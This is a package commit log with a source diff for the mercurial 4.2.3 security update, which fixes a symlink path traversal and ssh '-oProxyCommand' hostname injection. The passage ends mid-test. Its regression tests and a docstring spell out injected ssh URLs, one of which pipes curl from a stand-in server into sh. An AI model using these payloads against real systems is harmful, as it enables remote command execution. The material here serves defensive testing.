Hello community, here is the log from the commit of package mercurial for openSUSE:Factory checked in at 2017-08-17 11:44:47 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/mercurial (Old) and /work/SRC/openSUSE:Factory/.mercurial.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Package is "mercurial" Thu Aug 17 11:44:47 2017 rev:119 rq:515999 version:4.2.3 Changes: -------- --- /work/SRC/openSUSE:Factory/mercurial/mercurial.changes 2017-07-12 19:31:09.769365251 +0200 +++ /work/SRC/openSUSE:Factory/.mercurial.new/mercurial.changes 2017-08-17 11:44:49.439774644 +0200 @@ -1,0 +2,12 @@ +Thu Aug 10 22:58:59 CEST 2017 - [email protected] + +- mercurial 4.2.3: security fix updates for + CVE-2017-1000115 and CVE-2017-1000116: + * Mercurial's symlink auditing was incomplete prior to 4.3, and + could be abused to write to files outside the repository + (CVE-2017-1000115) + * Mercurial was not sanitizing hostnames passed to ssh, allowing + shell injection attacks by specifying a hostname starting with + -oProxyCommand (CVE-2017-1000116, bsc#1052696) + +------------------------------------------------------------------- Old: ---- mercurial-4.2.2.tar.gz mercurial-4.2.2.tar.gz.asc New: ---- mercurial-4.2.3.tar.gz mercurial-4.2.3.tar.gz.asc ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ mercurial.spec ++++++ --- /var/tmp/diff_new_pack.BbjMIU/_old 2017-08-17 11:44:51.003553938 +0200 +++ /var/tmp/diff_new_pack.BbjMIU/_new 2017-08-17 11:44:51.027550551 +0200 @@ -20,7 +20,7 @@ %{!?python_sitelib: %global python_sitelib %(python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")} %endif Name: mercurial -Version: 4.2.2 +Version: 4.2.3 Release: 0 Summary: Scalable Distributed SCM License: GPL-2.0+ ++++++ mercurial-4.2.2.tar.gz -> mercurial-4.2.3.tar.gz ++++++ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/PKG-INFO new/mercurial-4.2.3/PKG-INFO --- old/mercurial-4.2.2/PKG-INFO 2017-07-05 17:24:40.000000000 +0200 +++ new/mercurial-4.2.3/PKG-INFO 2017-08-10 20:15:05.000000000 +0200 @@ -1,6 +1,6 @@ Metadata-Version: 1.1 Name: mercurial -Version: 4.2.2 +Version: 4.2.3 Summary: Fast scalable distributed SCM (revision control, version control) system Home-page: https://mercurial-scm.org/ Author: Matt Mackall and many others diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/hgext/fsmonitor/__init__.py new/mercurial-4.2.3/hgext/fsmonitor/__init__.py --- old/mercurial-4.2.2/hgext/fsmonitor/__init__.py 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/hgext/fsmonitor/__init__.py 2017-08-10 20:14:47.000000000 +0200 @@ -394,7 +394,7 @@ visit.update(f for f in copymap if f not in results and matchfn(f)) - audit = pathutil.pathauditor(self._root).check + audit = pathutil.pathauditor(self._root, cached=True).check auditpass = [f for f in visit if audit(f)] auditpass.sort() auditfail = visit.difference(auditpass) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/mercurial/__version__.py new/mercurial-4.2.3/mercurial/__version__.py --- old/mercurial-4.2.2/mercurial/__version__.py 2017-07-05 17:24:37.000000000 +0200 +++ new/mercurial-4.2.3/mercurial/__version__.py 2017-08-10 20:15:01.000000000 +0200 @@ -1,2 +1,2 @@ # this file is autogenerated by setup.py -version = "4.2.2" +version = "4.2.3" diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/mercurial/cmdutil.py new/mercurial-4.2.3/mercurial/cmdutil.py --- old/mercurial-4.2.2/mercurial/cmdutil.py 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/mercurial/cmdutil.py 2017-08-10 20:14:48.000000000 +0200 @@ -3218,7 +3218,7 @@ pass repo.dirstate.remove(f) - audit_path = pathutil.pathauditor(repo.root) + audit_path = pathutil.pathauditor(repo.root, cached=True) for f in actions['forget'][0]: if interactive: choice = repo.ui.promptchoice( diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/mercurial/dirstate.py new/mercurial-4.2.3/mercurial/dirstate.py --- old/mercurial-4.2.2/mercurial/dirstate.py 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/mercurial/dirstate.py 2017-08-10 20:14:47.000000000 +0200 @@ -1089,7 +1089,7 @@ # that wasn't ignored, and everything that matched was stat'ed # and is already in results. # The rest must thus be ignored or under a symlink. - audit_path = pathutil.pathauditor(self._root) + audit_path = pathutil.pathauditor(self._root, cached=True) for nf in iter(visit): # If a stat for the same file was already added with a diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/mercurial/localrepo.py new/mercurial-4.2.3/mercurial/localrepo.py --- old/mercurial-4.2.2/mercurial/localrepo.py 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/mercurial/localrepo.py 2017-08-10 20:14:48.000000000 +0200 @@ -273,8 +273,8 @@ self.origroot = path self.auditor = pathutil.pathauditor(self.root, self._checknested) self.nofsauditor = pathutil.pathauditor(self.root, self._checknested, - realfs=False) - self.vfs = vfsmod.vfs(self.path) + realfs=False, cached=True) + self.vfs = vfsmod.vfs(self.path, cacheaudited=True) self.baseui = baseui self.ui = baseui.copy() self.ui.copy = baseui.copy # prevent copying repo configuration @@ -350,7 +350,8 @@ raise self.store = store.store( - self.requirements, self.sharedpath, vfsmod.vfs) + self.requirements, self.sharedpath, + lambda base: vfsmod.vfs(base, cacheaudited=True)) self.spath = self.store.path self.svfs = self.store.vfs self.sjoin = self.store.join diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/mercurial/pathutil.py new/mercurial-4.2.3/mercurial/pathutil.py --- old/mercurial-4.2.2/mercurial/pathutil.py 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/mercurial/pathutil.py 2017-08-10 20:14:47.000000000 +0200 @@ -33,13 +33,18 @@ The file system checks are only done when 'realfs' is set to True (the default). They should be disable then we are auditing path for operation on stored history. + + If 'cached' is set to True, audited paths and sub-directories are cached. + Be careful to not keep the cache of unmanaged directories for long because + audited paths may be replaced with symlinks. ''' - def __init__(self, root, callback=None, realfs=True): + def __init__(self, root, callback=None, realfs=True, cached=False): self.audited = set() self.auditeddir = set() self.root = root self._realfs = realfs + self._cached = cached self.callback = callback if os.path.lexists(root) and not util.fscasesensitive(root): self.normcase = util.normcase @@ -96,10 +101,11 @@ self._checkfs(prefix, path) prefixes.append(normprefix) - self.audited.add(normpath) - # only add prefixes to the cache after checking everything: we don't - # want to add "foo/bar/baz" before checking if there's a "foo/.hg" - self.auditeddir.update(prefixes) + if self._cached: + self.audited.add(normpath) + # only add prefixes to the cache after checking everything: we don't + # want to add "foo/bar/baz" before checking if there's a "foo/.hg" + self.auditeddir.update(prefixes) def _checkfs(self, prefix, path): """raise exception if a file system backed check fails""" diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/mercurial/posix.py new/mercurial-4.2.3/mercurial/posix.py --- old/mercurial-4.2.2/mercurial/posix.py 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/mercurial/posix.py 2017-08-10 20:14:48.000000000 +0200 @@ -23,6 +23,7 @@ from .i18n import _ from . import ( encoding, + error, pycompat, ) @@ -91,7 +92,13 @@ def sshargs(sshcmd, host, user, port): '''Build argument list for ssh''' args = user and ("%s@%s" % (user, host)) or host - return port and ("%s -p %s" % (args, port)) or args + if '-' in args[:1]: + raise error.Abort( + _('illegal ssh hostname or username starting with -: %s') % args) + args = shellquote(args) + if port: + args = '-p %s %s' % (shellquote(port), args) + return args def isexec(f): """check whether a file is executable""" diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/mercurial/scmutil.py new/mercurial-4.2.3/mercurial/scmutil.py --- old/mercurial-4.2.2/mercurial/scmutil.py 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/mercurial/scmutil.py 2017-08-10 20:14:48.000000000 +0200 @@ -667,7 +667,7 @@ This is different from dirstate.status because it doesn't care about whether files are modified or clean.''' added, unknown, deleted, removed, forgotten = [], [], [], [], [] - audit_path = pathutil.pathauditor(repo.root) + audit_path = pathutil.pathauditor(repo.root, cached=True) ctx = repo[None] dirstate = repo.dirstate diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/mercurial/sshpeer.py new/mercurial-4.2.3/mercurial/sshpeer.py --- old/mercurial-4.2.2/mercurial/sshpeer.py 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/mercurial/sshpeer.py 2017-08-10 20:14:47.000000000 +0200 @@ -138,6 +138,8 @@ if u.scheme != 'ssh' or not u.host or u.path is None: self._abort(error.RepoError(_("couldn't parse location %s") % path)) + util.checksafessh(path) + self.user = u.user if u.passwd is not None: self._abort(error.RepoError(_("password in URL not supported"))) @@ -148,10 +150,7 @@ sshcmd = self.ui.config("ui", "ssh", "ssh") remotecmd = self.ui.config("ui", "remotecmd", "hg") - args = util.sshargs(sshcmd, - _serverquote(self.host), - _serverquote(self.user), - _serverquote(self.port)) + args = util.sshargs(sshcmd, self.host, self.user, self.port) if create: cmd = '%s %s %s' % (sshcmd, args, diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/mercurial/subrepo.py new/mercurial-4.2.3/mercurial/subrepo.py --- old/mercurial-4.2.2/mercurial/subrepo.py 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/mercurial/subrepo.py 2017-08-10 20:14:48.000000000 +0200 @@ -1274,6 +1274,10 @@ # The revision must be specified at the end of the URL to properly # update to a directory which has since been deleted and recreated. args.append('%s@%s' % (state[0], state[1])) + + # SEC: check that the ssh url is safe + util.checksafessh(state[0]) + status, err = self._svncommand(args, failok=True) _sanitize(self.ui, self.wvfs, '.svn') if not re.search('Checked out revision [0-9]+.', status): @@ -1539,6 +1543,9 @@ def _fetch(self, source, revision): if self._gitmissing(): + # SEC: check for safe ssh url + util.checksafessh(source) + source = self._abssource(source) self.ui.status(_('cloning subrepo %s from %s\n') % (self._relpath, source)) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/mercurial/util.py new/mercurial-4.2.3/mercurial/util.py --- old/mercurial-4.2.2/mercurial/util.py 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/mercurial/util.py 2017-08-10 20:14:48.000000000 +0200 @@ -2879,6 +2879,21 @@ def urllocalpath(path): return url(path, parsequery=False, parsefragment=False).localpath() +def checksafessh(path): + """check if a path / url is a potentially unsafe ssh exploit (SEC) + + This is a sanity check for ssh urls. ssh will parse the first item as + an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. + Let's prevent these potentially exploited urls entirely and warn the + user. + + Raises an error.Abort when the url is unsafe. + """ + path = urlreq.unquote(path) + if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): + raise error.Abort(_('potentially unsafe url: %r') % + (path,)) + def hidepassword(u): '''hide user credential in a url string''' u = url(u) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/mercurial/vfs.py new/mercurial-4.2.3/mercurial/vfs.py --- old/mercurial-4.2.2/mercurial/vfs.py 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/mercurial/vfs.py 2017-08-10 20:14:48.000000000 +0200 @@ -276,13 +276,19 @@ This class is used to hide the details of COW semantics and remote file access from higher level code. + + 'cacheaudited' should be enabled only if (a) vfs object is short-lived, or + (b) the base directory is managed by hg and considered sort-of append-only. + See pathutil.pathauditor() for details. ''' - def __init__(self, base, audit=True, expandpath=False, realpath=False): + def __init__(self, base, audit=True, cacheaudited=False, expandpath=False, + realpath=False): if expandpath: base = util.expandpath(base) if realpath: base = os.path.realpath(base) self.base = base + self._cacheaudited = cacheaudited self.mustaudit = audit self.createmode = None self._trustnlink = None @@ -295,7 +301,8 @@ def mustaudit(self, onoff): self._audit = onoff if onoff: - self.audit = pathutil.pathauditor(self.base) + self.audit = pathutil.pathauditor( + self.base, cached=self._cacheaudited) else: self.audit = util.always diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/mercurial/windows.py new/mercurial-4.2.3/mercurial/windows.py --- old/mercurial-4.2.2/mercurial/windows.py 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/mercurial/windows.py 2017-08-10 20:14:48.000000000 +0200 @@ -17,6 +17,7 @@ from .i18n import _ from . import ( encoding, + error, osutil, pycompat, win32, @@ -199,7 +200,14 @@ '''Build argument list for ssh or Plink''' pflag = 'plink' in sshcmd.lower() and '-P' or '-p' args = user and ("%s@%s" % (user, host)) or host - return port and ("%s %s %s" % (args, pflag, port)) or args + if args.startswith('-') or args.startswith('/'): + raise error.Abort( + _('illegal ssh hostname or username starting with - or /: %s') % + args) + args = shellquote(args) + if port: + args = '%s %s %s' % (pflag, shellquote(port), args) + return args def setflags(f, l, x): pass diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/tests/test-audit-path.t new/mercurial-4.2.3/tests/test-audit-path.t --- old/mercurial-4.2.2/tests/test-audit-path.t 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/tests/test-audit-path.t 2017-08-10 20:14:48.000000000 +0200 @@ -129,3 +129,103 @@ [255] $ cd .. + +Test symlink traversal on merge: +-------------------------------- + +#if symlink + +set up symlink hell + + $ mkdir merge-symlink-out + $ hg init merge-symlink + $ cd merge-symlink + $ touch base + $ hg commit -qAm base + $ ln -s ../merge-symlink-out a + $ hg commit -qAm 'symlink a -> ../merge-symlink-out' + $ hg up -q 0 + $ mkdir a + $ touch a/poisoned + $ hg commit -qAm 'file a/poisoned' + $ hg log -G -T '{rev}: {desc}\n' + @ 2: file a/poisoned + | + | o 1: symlink a -> ../merge-symlink-out + |/ + o 0: base + + +try trivial merge + + $ hg up -qC 1 + $ hg merge 2 + abort: path 'a/poisoned' traverses symbolic link 'a' + [255] + +try rebase onto other revision: cache of audited paths should be discarded, +and the rebase should fail (issue5628) + + $ hg up -qC 2 + $ hg rebase -s 2 -d 1 --config extensions.rebase= + rebasing 2:e73c21d6b244 "file a/poisoned" (tip) + abort: path 'a/poisoned' traverses symbolic link 'a' + [255] + $ ls ../merge-symlink-out + + $ cd .. + +Test symlink traversal on update: +--------------------------------- + + $ mkdir update-symlink-out + $ hg init update-symlink + $ cd update-symlink + $ ln -s ../update-symlink-out a + $ hg commit -qAm 'symlink a -> ../update-symlink-out' + $ hg rm a + $ mkdir a && touch a/b + $ hg ci -qAm 'file a/b' a/b + $ hg up -qC 0 + $ hg rm a + $ mkdir a && touch a/c + $ hg ci -qAm 'rm a, file a/c' + $ hg log -G -T '{rev}: {desc}\n' + @ 2: rm a, file a/c + | + | o 1: file a/b + |/ + o 0: symlink a -> ../update-symlink-out + + +try linear update where symlink already exists: + + $ hg up -qC 0 + $ hg up 1 + abort: path 'a/b' traverses symbolic link 'a' + [255] + +try linear update including symlinked directory and its content: paths are +audited first by calculateupdates(), where no symlink is created so both +'a' and 'a/b' are taken as good paths. still applyupdates() should fail. + + $ hg up -qC null + $ hg up 1 + abort: path 'a/b' traverses symbolic link 'a' + [255] + $ ls ../update-symlink-out + +try branch update replacing directory with symlink, and its content: the +path 'a' is audited as a directory first, which should be audited again as +a symlink. + + $ rm -f a + $ hg up -qC 2 + $ hg up 1 + abort: path 'a/b' traverses symbolic link 'a' + [255] + $ ls ../update-symlink-out + + $ cd .. + +#endif diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/tests/test-clone.t new/mercurial-4.2.3/tests/test-clone.t --- old/mercurial-4.2.2/tests/test-clone.t 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/tests/test-clone.t 2017-08-10 20:14:48.000000000 +0200 @@ -1092,3 +1092,66 @@ adding remote bookmark bookA updating working directory 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + +SEC: check for unsafe ssh url + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path' + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path' + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg clone 'ssh://fakehost|touch%20owned/path' + abort: no suitable response from remote hg! + [255] + $ hg clone 'ssh://fakehost%7Ctouch%20owned/path' + abort: no suitable response from remote hg! + [255] + + $ hg clone 'ssh://-oProxyCommand=touch owned%[email protected]/nonexistent/path' + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned [email protected]/nonexistent/path' + [255] + +#if windows + $ hg clone "ssh://%26touch%20owned%20/" --debug + running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio" + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] + $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug + running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio" + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] +#else + $ hg clone "ssh://%3btouch%20owned%20/" --debug + running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio' + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] + $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug + running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio' + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] +#endif + + $ hg clone "ssh://v-alid.example.com/" --debug + running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re) + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] + +We should not have created a file named owned - if it exists, the +attack succeeded. + $ if test -f owned; then echo 'you got owned'; fi diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/tests/test-commandserver.t new/mercurial-4.2.3/tests/test-commandserver.t --- old/mercurial-4.2.2/tests/test-commandserver.t 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/tests/test-commandserver.t 2017-08-10 20:14:48.000000000 +0200 @@ -911,3 +911,80 @@ *** runcommand log 0 bar (bar) *** runcommand verify -q + + $ cd .. + +Test symlink traversal over cached audited paths: +------------------------------------------------- + +#if symlink + +set up symlink hell + + $ mkdir merge-symlink-out + $ hg init merge-symlink + $ cd merge-symlink + $ touch base + $ hg commit -qAm base + $ ln -s ../merge-symlink-out a + $ hg commit -qAm 'symlink a -> ../merge-symlink-out' + $ hg up -q 0 + $ mkdir a + $ touch a/poisoned + $ hg commit -qAm 'file a/poisoned' + $ hg log -G -T '{rev}: {desc}\n' + @ 2: file a/poisoned + | + | o 1: symlink a -> ../merge-symlink-out + |/ + o 0: base + + +try trivial merge after update: cache of audited paths should be discarded, +and the merge should fail (issue5628) + + $ hg up -q null + >>> from hgclient import readchannel, runcommand, check + >>> @check + ... def merge(server): + ... readchannel(server) + ... # audit a/poisoned as a good path + ... runcommand(server, ['up', '-qC', '2']) + ... runcommand(server, ['up', '-qC', '1']) + ... # here a is a symlink, so a/poisoned is bad + ... runcommand(server, ['merge', '2']) + *** runcommand up -qC 2 + *** runcommand up -qC 1 + *** runcommand merge 2 + abort: path 'a/poisoned' traverses symbolic link 'a' + [255] + $ ls ../merge-symlink-out + +cache of repo.auditor should be discarded, so matcher would never traverse +symlinks: + + $ hg up -qC 0 + $ touch ../merge-symlink-out/poisoned + >>> from hgclient import readchannel, runcommand, check + >>> @check + ... def files(server): + ... readchannel(server) + ... runcommand(server, ['up', '-qC', '2']) + ... # audit a/poisoned as a good path + ... runcommand(server, ['files', 'a/poisoned']) + ... runcommand(server, ['up', '-qC', '0']) + ... runcommand(server, ['up', '-qC', '1']) + ... # here 'a' is a symlink, so a/poisoned should be warned + ... runcommand(server, ['files', 'a/poisoned']) + *** runcommand up -qC 2 + *** runcommand files a/poisoned + a/poisoned + *** runcommand up -qC 0 + *** runcommand up -qC 1 + *** runcommand files a/poisoned + abort: path 'a/poisoned' traverses symbolic link 'a' + [255] + + $ cd .. + +#endif diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/tests/test-pull.t new/mercurial-4.2.3/tests/test-pull.t --- old/mercurial-4.2.2/tests/test-pull.t 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/tests/test-pull.t 2017-08-10 20:14:48.000000000 +0200 @@ -105,4 +105,30 @@ $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` $ hg pull -q "$URL" +SEC: check for unsafe ssh url + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path' + pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path' + pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg pull 'ssh://fakehost|touch${IFS}owned/path' + pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path + abort: no suitable response from remote hg! + [255] + $ hg pull 'ssh://fakehost%7Ctouch%20owned/path' + pulling from ssh://fakehost%7Ctouch%20owned/path + abort: no suitable response from remote hg! + [255] + + $ [ ! -f owned ] || echo 'you got owned' + $ cd .. diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/tests/test-push.t new/mercurial-4.2.3/tests/test-push.t --- old/mercurial-4.2.2/tests/test-push.t 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/tests/test-push.t 2017-08-10 20:14:48.000000000 +0200 @@ -297,3 +297,28 @@ lock: user *, process * (*s) (glob) wlock: user *, process * (*s) (glob) +SEC: check for unsafe ssh url + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg -R test-revflag push 'ssh://-oProxyCommand=touch${IFS}owned/path' + pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg -R test-revflag push 'ssh://%2DoProxyCommand=touch${IFS}owned/path' + pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg -R test-revflag push 'ssh://fakehost|touch${IFS}owned/path' + pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path + abort: no suitable response from remote hg! + [255] + $ hg -R test-revflag push 'ssh://fakehost%7Ctouch%20owned/path' + pushing to ssh://fakehost%7Ctouch%20owned/path + abort: no suitable response from remote hg! + [255] + + $ [ ! -f owned ] || echo 'you got owned' diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/tests/test-ssh-bundle1.t new/mercurial-4.2.3/tests/test-ssh-bundle1.t --- old/mercurial-4.2.2/tests/test-ssh-bundle1.t 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/tests/test-ssh-bundle1.t 2017-08-10 20:14:48.000000000 +0200 @@ -461,7 +461,7 @@ $ hg pull --debug ssh://user@dummy/remote pulling from ssh://user@dummy/remote - running python ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re) + running python ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re) sending hello command sending between command remote: 355 diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/tests/test-ssh.t new/mercurial-4.2.3/tests/test-ssh.t --- old/mercurial-4.2.2/tests/test-ssh.t 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/tests/test-ssh.t 2017-08-10 20:14:48.000000000 +0200 @@ -477,7 +477,7 @@ $ hg pull --debug ssh://user@dummy/remote pulling from ssh://user@dummy/remote - running python ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re) + running python ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re) sending hello command sending between command remote: 355 diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/tests/test-subrepo-git.t new/mercurial-4.2.3/tests/test-subrepo-git.t --- old/mercurial-4.2.2/tests/test-subrepo-git.t 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/tests/test-subrepo-git.t 2017-08-10 20:14:48.000000000 +0200 @@ -1173,3 +1173,35 @@ [255] $ f -Dq pwned.txt pwned: you asked for it + +test for ssh exploit with git subrepos 2017-07-25 + + $ hg init malicious-proxycommand + $ cd malicious-proxycommand + $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub + $ git init s + Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/ + $ cd s + $ git commit --allow-empty -m 'empty' + [master (root-commit) 153f934] empty + $ cd .. + $ hg add .hgsub + $ hg ci -m 'add subrepo' + $ cd .. + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s) + [255] + +also check that a percent encoded '-' (%2D) doesn't work + + $ cd malicious-proxycommand + $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub + $ hg ci -m 'change url to percent encoded' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s) + [255] + diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/tests/test-subrepo-svn.t new/mercurial-4.2.3/tests/test-subrepo-svn.t --- old/mercurial-4.2.2/tests/test-subrepo-svn.t 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/tests/test-subrepo-svn.t 2017-08-10 20:14:48.000000000 +0200 @@ -639,3 +639,43 @@ $ hg update -q -C '.^1' $ cd ../.. + +SEC: test for ssh exploit + + $ hg init ssh-vuln + $ cd ssh-vuln + $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub + $ svn co --quiet "$SVNREPOURL"/src s + $ hg add .hgsub + $ hg ci -m1 + $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub + $ hg ci -m2 + $ cd .. + $ hg clone ssh-vuln ssh-vuln-clone + updating to branch default + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s) + [255] + +also check that a percent encoded '-' (%2D) doesn't work + + $ cd ssh-vuln + $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub + $ hg ci -m3 + $ cd .. + $ rm -r ssh-vuln-clone + $ hg clone ssh-vuln ssh-vuln-clone + updating to branch default + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s) + [255] + +also check that hiding the attack in the username doesn't work: + + $ cd ssh-vuln + $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%[email protected]/nested" > .hgsub + $ hg ci -m3 + $ cd .. + $ rm -r ssh-vuln-clone + $ hg clone ssh-vuln ssh-vuln-clone + updating to branch default + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned [email protected]/nested' (in subrepo s) + [255] diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/mercurial-4.2.2/tests/test-subrepo.t new/mercurial-4.2.3/tests/test-subrepo.t --- old/mercurial-4.2.2/tests/test-subrepo.t 2017-07-05 17:24:17.000000000 +0200 +++ new/mercurial-4.2.3/tests/test-subrepo.t 2017-08-10 20:14:48.000000000 +0200 @@ -1777,3 +1777,77 @@ +bar $ cd .. + +test for ssh exploit 2017-07-25 + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg init malicious-proxycommand + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub + $ hg init 